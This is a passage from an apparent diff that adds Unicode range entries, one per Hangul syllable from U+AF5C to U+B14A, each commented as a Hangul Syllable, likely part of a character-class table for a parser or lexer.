+ ["\uAF5C", "\uAF5C"], /* Hangul Syllable */
+ ["\uAF5D", "\uAF5D"], /* Hangul Syllable */
+ ["\uAF5E", "\uAF5E"], /* Hangul Syllable */
+ ["\uAF5F", "\uAF5F"], /* Hangul Syllable */
+ ["\uAF60", "\uAF60"], /* Hangul Syllable */
+ ["\uAF61", "\uAF61"], /* Hangul Syllable */
+ ["\uAF62", "\uAF62"], /* Hangul Syllable */
+ ["\uAF63", "\uAF63"], /* Hangul Syllable */
+ ["\uAF64", "\uAF64"], /* Hangul Syllable */
+ ["\uAF65", "\uAF65"], /* Hangul Syllable */
+ ["\uAF66", "\uAF66"], /* Hangul Syllable */
+ ["\uAF67", "\uAF67"], /* Hangul Syllable */
+ ["\uAF68", "\uAF68"], /* Hangul Syllable */
+ ["\uAF69", "\uAF69"], /* Hangul Syllable */
+ ["\uAF6A", "\uAF6A"], /* Hangul Syllable */
+ ["\uAF6B", "\uAF6B"], /* Hangul Syllable */
+ ["\uAF6C", "\uAF6C"], /* Hangul Syllable */
+ ["\uAF6D", "\uAF6D"], /* Hangul Syllable */
+ ["\uAF6E", "\uAF6E"], /* Hangul Syllable */
+ ["\uAF6F", "\uAF6F"], /* Hangul Syllable */
+ ["\uAF70", "\uAF70"], /* Hangul Syllable */
+ ["\uAF71", "\uAF71"], /* Hangul Syllable */
+ ["\uAF72", "\uAF72"], /* Hangul Syllable */
+ ["\uAF73", "\uAF73"], /* Hangul Syllable */
+ ["\uAF74", "\uAF74"], /* Hangul Syllable */
+ ["\uAF75", "\uAF75"], /* Hangul Syllable */
+ ["\uAF76", "\uAF76"], /* Hangul Syllable */
+ ["\uAF77", "\uAF77"], /* Hangul Syllable */
+ ["\uAF78", "\uAF78"], /* Hangul Syllable */
+ ["\uAF79", "\uAF79"], /* Hangul Syllable */
+ ["\uAF7A", "\uAF7A"], /* Hangul Syllable */
+ ["\uAF7B", "\uAF7B"], /* Hangul Syllable */
+ ["\uAF7C", "\uAF7C"], /* Hangul Syllable */
+ ["\uAF7D", "\uAF7D"], /* Hangul Syllable */
+ ["\uAF7E", "\uAF7E"], /* Hangul Syllable */
+ ["\uAF7F", "\uAF7F"], /* Hangul Syllable */
+ ["\uAF80", "\uAF80"], /* Hangul Syllable */
+ ["\uAF81", "\uAF81"], /* Hangul Syllable */
+ ["\uAF82", "\uAF82"], /* Hangul Syllable */
+ ["\uAF83", "\uAF83"], /* Hangul Syllable */
+ ["\uAF84", "\uAF84"], /* Hangul Syllable */
+ ["\uAF85", "\uAF85"], /* Hangul Syllable */
+ ["\uAF86", "\uAF86"], /* Hangul Syllable */
+ ["\uAF87", "\uAF87"], /* Hangul Syllable */
+ ["\uAF88", "\uAF88"], /* Hangul Syllable */
+ ["\uAF89", "\uAF89"], /* Hangul Syllable */
+ ["\uAF8A", "\uAF8A"], /* Hangul Syllable */
+ ["\uAF8B", "\uAF8B"], /* Hangul Syllable */
+ ["\uAF8C", "\uAF8C"], /* Hangul Syllable */
+ ["\uAF8D", "\uAF8D"], /* Hangul Syllable */
+ ["\uAF8E", "\uAF8E"], /* Hangul Syllable */
+ ["\uAF8F", "\uAF8F"], /* Hangul Syllable */
+ ["\uAF90", "\uAF90"], /* Hangul Syllable */
+ ["\uAF91", "\uAF91"], /* Hangul Syllable */
+ ["\uAF92", "\uAF92"], /* Hangul Syllable */
+ ["\uAF93", "\uAF93"], /* Hangul Syllable */
+ ["\uAF94", "\uAF94"], /* Hangul Syllable */
+ ["\uAF95", "\uAF95"], /* Hangul Syllable */
+ ["\uAF96", "\uAF96"], /* Hangul Syllable */
+ ["\uAF97", "\uAF97"], /* Hangul Syllable */
+ ["\uAF98", "\uAF98"], /* Hangul Syllable */
+ ["\uAF99", "\uAF99"], /* Hangul Syllable */
+ ["\uAF9A", "\uAF9A"], /* Hangul Syllable */
+ ["\uAF9B", "\uAF9B"], /* Hangul Syllable */
+ ["\uAF9C", "\uAF9C"], /* Hangul Syllable */
+ ["\uAF9D", "\uAF9D"], /* Hangul Syllable */
+ ["\uAF9E", "\uAF9E"], /* Hangul Syllable */
+ ["\uAF9F", "\uAF9F"], /* Hangul Syllable */
+ ["\uAFA0", "\uAFA0"], /* Hangul Syllable */
+ ["\uAFA1", "\uAFA1"], /* Hangul Syllable */
+ ["\uAFA2", "\uAFA2"], /* Hangul Syllable */
+ ["\uAFA3", "\uAFA3"], /* Hangul Syllable */
+ ["\uAFA4", "\uAFA4"], /* Hangul Syllable */
+ ["\uAFA5", "\uAFA5"], /* Hangul Syllable */
+ ["\uAFA6", "\uAFA6"], /* Hangul Syllable */
+ ["\uAFA7", "\uAFA7"], /* Hangul Syllable */
+ ["\uAFA8", "\uAFA8"], /* Hangul Syllable */
+ ["\uAFA9", "\uAFA9"], /* Hangul Syllable */
+ ["\uAFAA", "\uAFAA"], /* Hangul Syllable */
+ ["\uAFAB", "\uAFAB"], /* Hangul Syllable */
+ ["\uAFAC", "\uAFAC"], /* Hangul Syllable */
+ ["\uAFAD", "\uAFAD"], /* Hangul Syllable */
+ ["\uAFAE", "\uAFAE"], /* Hangul Syllable */
+ ["\uAFAF", "\uAFAF"], /* Hangul Syllable */
+ ["\uAFB0", "\uAFB0"], /* Hangul Syllable */
+ ["\uAFB1", "\uAFB1"], /* Hangul Syllable */
+ ["\uAFB2", "\uAFB2"], /* Hangul Syllable */
+ ["\uAFB3", "\uAFB3"], /* Hangul Syllable */
+ ["\uAFB4", "\uAFB4"], /* Hangul Syllable */
+ ["\uAFB5", "\uAFB5"], /* Hangul Syllable */
+ ["\uAFB6", "\uAFB6"], /* Hangul Syllable */
+ ["\uAFB7", "\uAFB7"], /* Hangul Syllable */
+ ["\uAFB8", "\uAFB8"], /* Hangul Syllable */
+ ["\uAFB9", "\uAFB9"], /* Hangul Syllable */
+ ["\uAFBA", "\uAFBA"], /* Hangul Syllable */
+ ["\uAFBB", "\uAFBB"], /* Hangul Syllable */
+ ["\uAFBC", "\uAFBC"], /* Hangul Syllable */
+ ["\uAFBD", "\uAFBD"], /* Hangul Syllable */
+ ["\uAFBE", "\uAFBE"], /* Hangul Syllable */
+ ["\uAFBF", "\uAFBF"], /* Hangul Syllable */
+ ["\uAFC0", "\uAFC0"], /* Hangul Syllable */
+ ["\uAFC1", "\uAFC1"], /* Hangul Syllable */
+ ["\uAFC2", "\uAFC2"], /* Hangul Syllable */
+ ["\uAFC3", "\uAFC3"], /* Hangul Syllable */
+ ["\uAFC4", "\uAFC4"], /* Hangul Syllable */
+ ["\uAFC5", "\uAFC5"], /* Hangul Syllable */
+ ["\uAFC6", "\uAFC6"], /* Hangul Syllable */
+ ["\uAFC7", "\uAFC7"], /* Hangul Syllable */
+ ["\uAFC8", "\uAFC8"], /* Hangul Syllable */
+ ["\uAFC9", "\uAFC9"], /* Hangul Syllable */
+ ["\uAFCA", "\uAFCA"], /* Hangul Syllable */
+ ["\uAFCB", "\uAFCB"], /* Hangul Syllable */
+ ["\uAFCC", "\uAFCC"], /* Hangul Syllable */
+ ["\uAFCD", "\uAFCD"], /* Hangul Syllable */
+ ["\uAFCE", "\uAFCE"], /* Hangul Syllable */
+ ["\uAFCF", "\uAFCF"], /* Hangul Syllable */
+ ["\uAFD0", "\uAFD0"], /* Hangul Syllable */
+ ["\uAFD1", "\uAFD1"], /* Hangul Syllable */
+ ["\uAFD2", "\uAFD2"], /* Hangul Syllable */
+ ["\uAFD3", "\uAFD3"], /* Hangul Syllable */
+ ["\uAFD4", "\uAFD4"], /* Hangul Syllable */
+ ["\uAFD5", "\uAFD5"], /* Hangul Syllable */
+ ["\uAFD6", "\uAFD6"], /* Hangul Syllable */
+ ["\uAFD7", "\uAFD7"], /* Hangul Syllable */
+ ["\uAFD8", "\uAFD8"], /* Hangul Syllable */
+ ["\uAFD9", "\uAFD9"], /* Hangul Syllable */
+ ["\uAFDA", "\uAFDA"], /* Hangul Syllable */
+ ["\uAFDB", "\uAFDB"], /* Hangul Syllable */
+ ["\uAFDC", "\uAFDC"], /* Hangul Syllable */
+ ["\uAFDD", "\uAFDD"], /* Hangul Syllable */
+ ["\uAFDE", "\uAFDE"], /* Hangul Syllable */
+ ["\uAFDF", "\uAFDF"], /* Hangul Syllable */
+ ["\uAFE0", "\uAFE0"], /* Hangul Syllable */
+ ["\uAFE1", "\uAFE1"], /* Hangul Syllable */
+ ["\uAFE2", "\uAFE2"], /* Hangul Syllable */
+ ["\uAFE3", "\uAFE3"], /* Hangul Syllable */
+ ["\uAFE4", "\uAFE4"], /* Hangul Syllable */
+ ["\uAFE5", "\uAFE5"], /* Hangul Syllable */
+ ["\uAFE6", "\uAFE6"], /* Hangul Syllable */
+ ["\uAFE7", "\uAFE7"], /* Hangul Syllable */
+ ["\uAFE8", "\uAFE8"], /* Hangul Syllable */
+ ["\uAFE9", "\uAFE9"], /* Hangul Syllable */
+ ["\uAFEA", "\uAFEA"], /* Hangul Syllable */
+ ["\uAFEB", "\uAFEB"], /* Hangul Syllable */
+ ["\uAFEC", "\uAFEC"], /* Hangul Syllable */
+ ["\uAFED", "\uAFED"], /* Hangul Syllable */
+ ["\uAFEE", "\uAFEE"], /* Hangul Syllable */
+ ["\uAFEF", "\uAFEF"], /* Hangul Syllable */
+ ["\uAFF0", "\uAFF0"], /* Hangul Syllable */
+ ["\uAFF1", "\uAFF1"], /* Hangul Syllable */
+ ["\uAFF2", "\uAFF2"], /* Hangul Syllable */
+ ["\uAFF3", "\uAFF3"], /* Hangul Syllable */
+ ["\uAFF4", "\uAFF4"], /* Hangul Syllable */
+ ["\uAFF5", "\uAFF5"], /* Hangul Syllable */
+ ["\uAFF6", "\uAFF6"], /* Hangul Syllable */
+ ["\uAFF7", "\uAFF7"], /* Hangul Syllable */
+ ["\uAFF8", "\uAFF8"], /* Hangul Syllable */
+ ["\uAFF9", "\uAFF9"], /* Hangul Syllable */
+ ["\uAFFA", "\uAFFA"], /* Hangul Syllable */
+ ["\uAFFB", "\uAFFB"], /* Hangul Syllable */
+ ["\uAFFC", "\uAFFC"], /* Hangul Syllable */
+ ["\uAFFD", "\uAFFD"], /* Hangul Syllable */
+ ["\uAFFE", "\uAFFE"], /* Hangul Syllable */
+ ["\uAFFF", "\uAFFF"], /* Hangul Syllable */
+ ["\uB000", "\uB000"], /* Hangul Syllable */
+ ["\uB001", "\uB001"], /* Hangul Syllable */
+ ["\uB002", "\uB002"], /* Hangul Syllable */
+ ["\uB003", "\uB003"], /* Hangul Syllable */
+ ["\uB004", "\uB004"], /* Hangul Syllable */
+ ["\uB005", "\uB005"], /* Hangul Syllable */
+ ["\uB006", "\uB006"], /* Hangul Syllable */
+ ["\uB007", "\uB007"], /* Hangul Syllable */
+ ["\uB008", "\uB008"], /* Hangul Syllable */
+ ["\uB009", "\uB009"], /* Hangul Syllable */
+ ["\uB00A", "\uB00A"], /* Hangul Syllable */
+ ["\uB00B", "\uB00B"], /* Hangul Syllable */
+ ["\uB00C", "\uB00C"], /* Hangul Syllable */
+ ["\uB00D", "\uB00D"], /* Hangul Syllable */
+ ["\uB00E", "\uB00E"], /* Hangul Syllable */
+ ["\uB00F", "\uB00F"], /* Hangul Syllable */
+ ["\uB010", "\uB010"], /* Hangul Syllable */
+ ["\uB011", "\uB011"], /* Hangul Syllable */
+ ["\uB012", "\uB012"], /* Hangul Syllable */
+ ["\uB013", "\uB013"], /* Hangul Syllable */
+ ["\uB014", "\uB014"], /* Hangul Syllable */
+ ["\uB015", "\uB015"], /* Hangul Syllable */
+ ["\uB016", "\uB016"], /* Hangul Syllable */
+ ["\uB017", "\uB017"], /* Hangul Syllable */
+ ["\uB018", "\uB018"], /* Hangul Syllable */
+ ["\uB019", "\uB019"], /* Hangul Syllable */
+ ["\uB01A", "\uB01A"], /* Hangul Syllable */
+ ["\uB01B", "\uB01B"], /* Hangul Syllable */
+ ["\uB01C", "\uB01C"], /* Hangul Syllable */
+ ["\uB01D", "\uB01D"], /* Hangul Syllable */
+ ["\uB01E", "\uB01E"], /* Hangul Syllable */
+ ["\uB01F", "\uB01F"], /* Hangul Syllable */
+ ["\uB020", "\uB020"], /* Hangul Syllable */
+ ["\uB021", "\uB021"], /* Hangul Syllable */
+ ["\uB022", "\uB022"], /* Hangul Syllable */
+ ["\uB023", "\uB023"], /* Hangul Syllable */
+ ["\uB024", "\uB024"], /* Hangul Syllable */
+ ["\uB025", "\uB025"], /* Hangul Syllable */
+ ["\uB026", "\uB026"], /* Hangul Syllable */
+ ["\uB027", "\uB027"], /* Hangul Syllable */
+ ["\uB028", "\uB028"], /* Hangul Syllable */
+ ["\uB029", "\uB029"], /* Hangul Syllable */
+ ["\uB02A", "\uB02A"], /* Hangul Syllable */
+ ["\uB02B", "\uB02B"], /* Hangul Syllable */
+ ["\uB02C", "\uB02C"], /* Hangul Syllable */
+ ["\uB02D", "\uB02D"], /* Hangul Syllable */
+ ["\uB02E", "\uB02E"], /* Hangul Syllable */
+ ["\uB02F", "\uB02F"], /* Hangul Syllable */
+ ["\uB030", "\uB030"], /* Hangul Syllable */
+ ["\uB031", "\uB031"], /* Hangul Syllable */
+ ["\uB032", "\uB032"], /* Hangul Syllable */
+ ["\uB033", "\uB033"], /* Hangul Syllable */
+ ["\uB034", "\uB034"], /* Hangul Syllable */
+ ["\uB035", "\uB035"], /* Hangul Syllable */
+ ["\uB036", "\uB036"], /* Hangul Syllable */
+ ["\uB037", "\uB037"], /* Hangul Syllable */
+ ["\uB038", "\uB038"], /* Hangul Syllable */
+ ["\uB039", "\uB039"], /* Hangul Syllable */
+ ["\uB03A", "\uB03A"], /* Hangul Syllable */
+ ["\uB03B", "\uB03B"], /* Hangul Syllable */
+ ["\uB03C", "\uB03C"], /* Hangul Syllable */
+ ["\uB03D", "\uB03D"], /* Hangul Syllable */
+ ["\uB03E", "\uB03E"], /* Hangul Syllable */
+ ["\uB03F", "\uB03F"], /* Hangul Syllable */
+ ["\uB040", "\uB040"], /* Hangul Syllable */
+ ["\uB041", "\uB041"], /* Hangul Syllable */
+ ["\uB042", "\uB042"], /* Hangul Syllable */
+ ["\uB043", "\uB043"], /* Hangul Syllable */
+ ["\uB044", "\uB044"], /* Hangul Syllable */
+ ["\uB045", "\uB045"], /* Hangul Syllable */
+ ["\uB046", "\uB046"], /* Hangul Syllable */
+ ["\uB047", "\uB047"], /* Hangul Syllable */
+ ["\uB048", "\uB048"], /* Hangul Syllable */
+ ["\uB049", "\uB049"], /* Hangul Syllable */
+ ["\uB04A", "\uB04A"], /* Hangul Syllable */
+ ["\uB04B", "\uB04B"], /* Hangul Syllable */
+ ["\uB04C", "\uB04C"], /* Hangul Syllable */
+ ["\uB04D", "\uB04D"], /* Hangul Syllable */
+ ["\uB04E", "\uB04E"], /* Hangul Syllable */
+ ["\uB04F", "\uB04F"], /* Hangul Syllable */
+ ["\uB050", "\uB050"], /* Hangul Syllable */
+ ["\uB051", "\uB051"], /* Hangul Syllable */
+ ["\uB052", "\uB052"], /* Hangul Syllable */
+ ["\uB053", "\uB053"], /* Hangul Syllable */
+ ["\uB054", "\uB054"], /* Hangul Syllable */
+ ["\uB055", "\uB055"], /* Hangul Syllable */
+ ["\uB056", "\uB056"], /* Hangul Syllable */
+ ["\uB057", "\uB057"], /* Hangul Syllable */
+ ["\uB058", "\uB058"], /* Hangul Syllable */
+ ["\uB059", "\uB059"], /* Hangul Syllable */
+ ["\uB05A", "\uB05A"], /* Hangul Syllable */
+ ["\uB05B", "\uB05B"], /* Hangul Syllable */
+ ["\uB05C", "\uB05C"], /* Hangul Syllable */
+ ["\uB05D", "\uB05D"], /* Hangul Syllable */
+ ["\uB05E", "\uB05E"], /* Hangul Syllable */
+ ["\uB05F", "\uB05F"], /* Hangul Syllable */
+ ["\uB060", "\uB060"], /* Hangul Syllable */
+ ["\uB061", "\uB061"], /* Hangul Syllable */
+ ["\uB062", "\uB062"], /* Hangul Syllable */
+ ["\uB063", "\uB063"], /* Hangul Syllable */
+ ["\uB064", "\uB064"], /* Hangul Syllable */
+ ["\uB065", "\uB065"], /* Hangul Syllable */
+ ["\uB066", "\uB066"], /* Hangul Syllable */
+ ["\uB067", "\uB067"], /* Hangul Syllable */
+ ["\uB068", "\uB068"], /* Hangul Syllable */
+ ["\uB069", "\uB069"], /* Hangul Syllable */
+ ["\uB06A", "\uB06A"], /* Hangul Syllable */
+ ["\uB06B", "\uB06B"], /* Hangul Syllable */
+ ["\uB06C", "\uB06C"], /* Hangul Syllable */
+ ["\uB06D", "\uB06D"], /* Hangul Syllable */
+ ["\uB06E", "\uB06E"], /* Hangul Syllable */
+ ["\uB06F", "\uB06F"], /* Hangul Syllable */
+ ["\uB070", "\uB070"], /* Hangul Syllable */
+ ["\uB071", "\uB071"], /* Hangul Syllable */
+ ["\uB072", "\uB072"], /* Hangul Syllable */
+ ["\uB073", "\uB073"], /* Hangul Syllable */
+ ["\uB074", "\uB074"], /* Hangul Syllable */
+ ["\uB075", "\uB075"], /* Hangul Syllable */
+ ["\uB076", "\uB076"], /* Hangul Syllable */
+ ["\uB077", "\uB077"], /* Hangul Syllable */
+ ["\uB078", "\uB078"], /* Hangul Syllable */
+ ["\uB079", "\uB079"], /* Hangul Syllable */
+ ["\uB07A", "\uB07A"], /* Hangul Syllable */
+ ["\uB07B", "\uB07B"], /* Hangul Syllable */
+ ["\uB07C", "\uB07C"], /* Hangul Syllable */
+ ["\uB07D", "\uB07D"], /* Hangul Syllable */
+ ["\uB07E", "\uB07E"], /* Hangul Syllable */
+ ["\uB07F", "\uB07F"], /* Hangul Syllable */
+ ["\uB080", "\uB080"], /* Hangul Syllable */
+ ["\uB081", "\uB081"], /* Hangul Syllable */
+ ["\uB082", "\uB082"], /* Hangul Syllable */
+ ["\uB083", "\uB083"], /* Hangul Syllable */
+ ["\uB084", "\uB084"], /* Hangul Syllable */
+ ["\uB085", "\uB085"], /* Hangul Syllable */
+ ["\uB086", "\uB086"], /* Hangul Syllable */
+ ["\uB087", "\uB087"], /* Hangul Syllable */
+ ["\uB088", "\uB088"], /* Hangul Syllable */
+ ["\uB089", "\uB089"], /* Hangul Syllable */
+ ["\uB08A", "\uB08A"], /* Hangul Syllable */
+ ["\uB08B", "\uB08B"], /* Hangul Syllable */
+ ["\uB08C", "\uB08C"], /* Hangul Syllable */
+ ["\uB08D", "\uB08D"], /* Hangul Syllable */
+ ["\uB08E", "\uB08E"], /* Hangul Syllable */
+ ["\uB08F", "\uB08F"], /* Hangul Syllable */
+ ["\uB090", "\uB090"], /* Hangul Syllable */
+ ["\uB091", "\uB091"], /* Hangul Syllable */
+ ["\uB092", "\uB092"], /* Hangul Syllable */
+ ["\uB093", "\uB093"], /* Hangul Syllable */
+ ["\uB094", "\uB094"], /* Hangul Syllable */
+ ["\uB095", "\uB095"], /* Hangul Syllable */
+ ["\uB096", "\uB096"], /* Hangul Syllable */
+ ["\uB097", "\uB097"], /* Hangul Syllable */
+ ["\uB098", "\uB098"], /* Hangul Syllable */
+ ["\uB099", "\uB099"], /* Hangul Syllable */
+ ["\uB09A", "\uB09A"], /* Hangul Syllable */
+ ["\uB09B", "\uB09B"], /* Hangul Syllable */
+ ["\uB09C", "\uB09C"], /* Hangul Syllable */
+ ["\uB09D", "\uB09D"], /* Hangul Syllable */
+ ["\uB09E", "\uB09E"], /* Hangul Syllable */
+ ["\uB09F", "\uB09F"], /* Hangul Syllable */
+ ["\uB0A0", "\uB0A0"], /* Hangul Syllable */
+ ["\uB0A1", "\uB0A1"], /* Hangul Syllable */
+ ["\uB0A2", "\uB0A2"], /* Hangul Syllable */
+ ["\uB0A3", "\uB0A3"], /* Hangul Syllable */
+ ["\uB0A4", "\uB0A4"], /* Hangul Syllable */
+ ["\uB0A5", "\uB0A5"], /* Hangul Syllable */
+ ["\uB0A6", "\uB0A6"], /* Hangul Syllable */
+ ["\uB0A7", "\uB0A7"], /* Hangul Syllable */
+ ["\uB0A8", "\uB0A8"], /* Hangul Syllable */
+ ["\uB0A9", "\uB0A9"], /* Hangul Syllable */
+ ["\uB0AA", "\uB0AA"], /* Hangul Syllable */
+ ["\uB0AB", "\uB0AB"], /* Hangul Syllable */
+ ["\uB0AC", "\uB0AC"], /* Hangul Syllable */
+ ["\uB0AD", "\uB0AD"], /* Hangul Syllable */
+ ["\uB0AE", "\uB0AE"], /* Hangul Syllable */
+ ["\uB0AF", "\uB0AF"], /* Hangul Syllable */
+ ["\uB0B0", "\uB0B0"], /* Hangul Syllable */
+ ["\uB0B1", "\uB0B1"], /* Hangul Syllable */
+ ["\uB0B2", "\uB0B2"], /* Hangul Syllable */
+ ["\uB0B3", "\uB0B3"], /* Hangul Syllable */
+ ["\uB0B4", "\uB0B4"], /* Hangul Syllable */
+ ["\uB0B5", "\uB0B5"], /* Hangul Syllable */
+ ["\uB0B6", "\uB0B6"], /* Hangul Syllable */
+ ["\uB0B7", "\uB0B7"], /* Hangul Syllable */
+ ["\uB0B8", "\uB0B8"], /* Hangul Syllable */
+ ["\uB0B9", "\uB0B9"], /* Hangul Syllable */
+ ["\uB0BA", "\uB0BA"], /* Hangul Syllable */
+ ["\uB0BB", "\uB0BB"], /* Hangul Syllable */
+ ["\uB0BC", "\uB0BC"], /* Hangul Syllable */
+ ["\uB0BD", "\uB0BD"], /* Hangul Syllable */
+ ["\uB0BE", "\uB0BE"], /* Hangul Syllable */
+ ["\uB0BF", "\uB0BF"], /* Hangul Syllable */
+ ["\uB0C0", "\uB0C0"], /* Hangul Syllable */
+ ["\uB0C1", "\uB0C1"], /* Hangul Syllable */
+ ["\uB0C2", "\uB0C2"], /* Hangul Syllable */
+ ["\uB0C3", "\uB0C3"], /* Hangul Syllable */
+ ["\uB0C4", "\uB0C4"], /* Hangul Syllable */
+ ["\uB0C5", "\uB0C5"], /* Hangul Syllable */
+ ["\uB0C6", "\uB0C6"], /* Hangul Syllable */
+ ["\uB0C7", "\uB0C7"], /* Hangul Syllable */
+ ["\uB0C8", "\uB0C8"], /* Hangul Syllable */
+ ["\uB0C9", "\uB0C9"], /* Hangul Syllable */
+ ["\uB0CA", "\uB0CA"], /* Hangul Syllable */
+ ["\uB0CB", "\uB0CB"], /* Hangul Syllable */
+ ["\uB0CC", "\uB0CC"], /* Hangul Syllable */
+ ["\uB0CD", "\uB0CD"], /* Hangul Syllable */
+ ["\uB0CE", "\uB0CE"], /* Hangul Syllable */
+ ["\uB0CF", "\uB0CF"], /* Hangul Syllable */
+ ["\uB0D0", "\uB0D0"], /* Hangul Syllable */
+ ["\uB0D1", "\uB0D1"], /* Hangul Syllable */
+ ["\uB0D2", "\uB0D2"], /* Hangul Syllable */
+ ["\uB0D3", "\uB0D3"], /* Hangul Syllable */
+ ["\uB0D4", "\uB0D4"], /* Hangul Syllable */
+ ["\uB0D5", "\uB0D5"], /* Hangul Syllable */
+ ["\uB0D6", "\uB0D6"], /* Hangul Syllable */
+ ["\uB0D7", "\uB0D7"], /* Hangul Syllable */
+ ["\uB0D8", "\uB0D8"], /* Hangul Syllable */
+ ["\uB0D9", "\uB0D9"], /* Hangul Syllable */
+ ["\uB0DA", "\uB0DA"], /* Hangul Syllable */
+ ["\uB0DB", "\uB0DB"], /* Hangul Syllable */
+ ["\uB0DC", "\uB0DC"], /* Hangul Syllable */
+ ["\uB0DD", "\uB0DD"], /* Hangul Syllable */
+ ["\uB0DE", "\uB0DE"], /* Hangul Syllable */
+ ["\uB0DF", "\uB0DF"], /* Hangul Syllable */
+ ["\uB0E0", "\uB0E0"], /* Hangul Syllable */
+ ["\uB0E1", "\uB0E1"], /* Hangul Syllable */
+ ["\uB0E2", "\uB0E2"], /* Hangul Syllable */
+ ["\uB0E3", "\uB0E3"], /* Hangul Syllable */
+ ["\uB0E4", "\uB0E4"], /* Hangul Syllable */
+ ["\uB0E5", "\uB0E5"], /* Hangul Syllable */
+ ["\uB0E6", "\uB0E6"], /* Hangul Syllable */
+ ["\uB0E7", "\uB0E7"], /* Hangul Syllable */
+ ["\uB0E8", "\uB0E8"], /* Hangul Syllable */
+ ["\uB0E9", "\uB0E9"], /* Hangul Syllable */
+ ["\uB0EA", "\uB0EA"], /* Hangul Syllable */
+ ["\uB0EB", "\uB0EB"], /* Hangul Syllable */
+ ["\uB0EC", "\uB0EC"], /* Hangul Syllable */
+ ["\uB0ED", "\uB0ED"], /* Hangul Syllable */
+ ["\uB0EE", "\uB0EE"], /* Hangul Syllable */
+ ["\uB0EF", "\uB0EF"], /* Hangul Syllable */
+ ["\uB0F0", "\uB0F0"], /* Hangul Syllable */
+ ["\uB0F1", "\uB0F1"], /* Hangul Syllable */
+ ["\uB0F2", "\uB0F2"], /* Hangul Syllable */
+ ["\uB0F3", "\uB0F3"], /* Hangul Syllable */
+ ["\uB0F4", "\uB0F4"], /* Hangul Syllable */
+ ["\uB0F5", "\uB0F5"], /* Hangul Syllable */
+ ["\uB0F6", "\uB0F6"], /* Hangul Syllable */
+ ["\uB0F7", "\uB0F7"], /* Hangul Syllable */
+ ["\uB0F8", "\uB0F8"], /* Hangul Syllable */
+ ["\uB0F9", "\uB0F9"], /* Hangul Syllable */
+ ["\uB0FA", "\uB0FA"], /* Hangul Syllable */
+ ["\uB0FB", "\uB0FB"], /* Hangul Syllable */
+ ["\uB0FC", "\uB0FC"], /* Hangul Syllable */
+ ["\uB0FD", "\uB0FD"], /* Hangul Syllable */
+ ["\uB0FE", "\uB0FE"], /* Hangul Syllable */
+ ["\uB0FF", "\uB0FF"], /* Hangul Syllable */
+ ["\uB100", "\uB100"], /* Hangul Syllable */
+ ["\uB101", "\uB101"], /* Hangul Syllable */
+ ["\uB102", "\uB102"], /* Hangul Syllable */
+ ["\uB103", "\uB103"], /* Hangul Syllable */
+ ["\uB104", "\uB104"], /* Hangul Syllable */
+ ["\uB105", "\uB105"], /* Hangul Syllable */
+ ["\uB106", "\uB106"], /* Hangul Syllable */
+ ["\uB107", "\uB107"], /* Hangul Syllable */
+ ["\uB108", "\uB108"], /* Hangul Syllable */
+ ["\uB109", "\uB109"], /* Hangul Syllable */
+ ["\uB10A", "\uB10A"], /* Hangul Syllable */
+ ["\uB10B", "\uB10B"], /* Hangul Syllable */
+ ["\uB10C", "\uB10C"], /* Hangul Syllable */
+ ["\uB10D", "\uB10D"], /* Hangul Syllable */
+ ["\uB10E", "\uB10E"], /* Hangul Syllable */
+ ["\uB10F", "\uB10F"], /* Hangul Syllable */
+ ["\uB110", "\uB110"], /* Hangul Syllable */
+ ["\uB111", "\uB111"], /* Hangul Syllable */
+ ["\uB112", "\uB112"], /* Hangul Syllable */
+ ["\uB113", "\uB113"], /* Hangul Syllable */
+ ["\uB114", "\uB114"], /* Hangul Syllable */
+ ["\uB115", "\uB115"], /* Hangul Syllable */
+ ["\uB116", "\uB116"], /* Hangul Syllable */
+ ["\uB117", "\uB117"], /* Hangul Syllable */
+ ["\uB118", "\uB118"], /* Hangul Syllable */
+ ["\uB119", "\uB119"], /* Hangul Syllable */
+ ["\uB11A", "\uB11A"], /* Hangul Syllable */
+ ["\uB11B", "\uB11B"], /* Hangul Syllable */
+ ["\uB11C", "\uB11C"], /* Hangul Syllable */
+ ["\uB11D", "\uB11D"], /* Hangul Syllable */
+ ["\uB11E", "\uB11E"], /* Hangul Syllable */
+ ["\uB11F", "\uB11F"], /* Hangul Syllable */
+ ["\uB120", "\uB120"], /* Hangul Syllable */
+ ["\uB121", "\uB121"], /* Hangul Syllable */
+ ["\uB122", "\uB122"], /* Hangul Syllable */
+ ["\uB123", "\uB123"], /* Hangul Syllable */
+ ["\uB124", "\uB124"], /* Hangul Syllable */
+ ["\uB125", "\uB125"], /* Hangul Syllable */
+ ["\uB126", "\uB126"], /* Hangul Syllable */
+ ["\uB127", "\uB127"], /* Hangul Syllable */
+ ["\uB128", "\uB128"], /* Hangul Syllable */
+ ["\uB129", "\uB129"], /* Hangul Syllable */
+ ["\uB12A", "\uB12A"], /* Hangul Syllable */
+ ["\uB12B", "\uB12B"], /* Hangul Syllable */
+ ["\uB12C", "\uB12C"], /* Hangul Syllable */
+ ["\uB12D", "\uB12D"], /* Hangul Syllable */
+ ["\uB12E", "\uB12E"], /* Hangul Syllable */
+ ["\uB12F", "\uB12F"], /* Hangul Syllable */
+ ["\uB130", "\uB130"], /* Hangul Syllable */
+ ["\uB131", "\uB131"], /* Hangul Syllable */
+ ["\uB132", "\uB132"], /* Hangul Syllable */
+ ["\uB133", "\uB133"], /* Hangul Syllable */
+ ["\uB134", "\uB134"], /* Hangul Syllable */
+ ["\uB135", "\uB135"], /* Hangul Syllable */
+ ["\uB136", "\uB136"], /* Hangul Syllable */
+ ["\uB137", "\uB137"], /* Hangul Syllable */
+ ["\uB138", "\uB138"], /* Hangul Syllable */
+ ["\uB139", "\uB139"], /* Hangul Syllable */
+ ["\uB13A", "\uB13A"], /* Hangul Syllable */
+ ["\uB13B", "\uB13B"], /* Hangul Syllable */
+ ["\uB13C", "\uB13C"], /* Hangul Syllable */
+ ["\uB13D", "\uB13D"], /* Hangul Syllable */
+ ["\uB13E", "\uB13E"], /* Hangul Syllable */
+ ["\uB13F", "\uB13F"], /* Hangul Syllable */
+ ["\uB140", "\uB140"], /* Hangul Syllable */
+ ["\uB141", "\uB141"], /* Hangul Syllable */
+ ["\uB142", "\uB142"], /* Hangul Syllable */
+ ["\uB143", "\uB143"], /* Hangul Syllable */
+ ["\uB144", "\uB144"], /* Hangul Syllable */
+ ["\uB145", "\uB145"], /* Hangul Syllable */
+ ["\uB146", "\uB146"], /* Hangul Syllable */
+ ["\uB147", "\uB147"], /* Hangul Syllable */
+ ["\uB148", "\uB148"], /* Hangul Syllable */
+ ["\uB149", "\uB149"], /* Hangul Syllable */
+ ["\uB14A", "\uB14A"], /* Hangul Syllable */
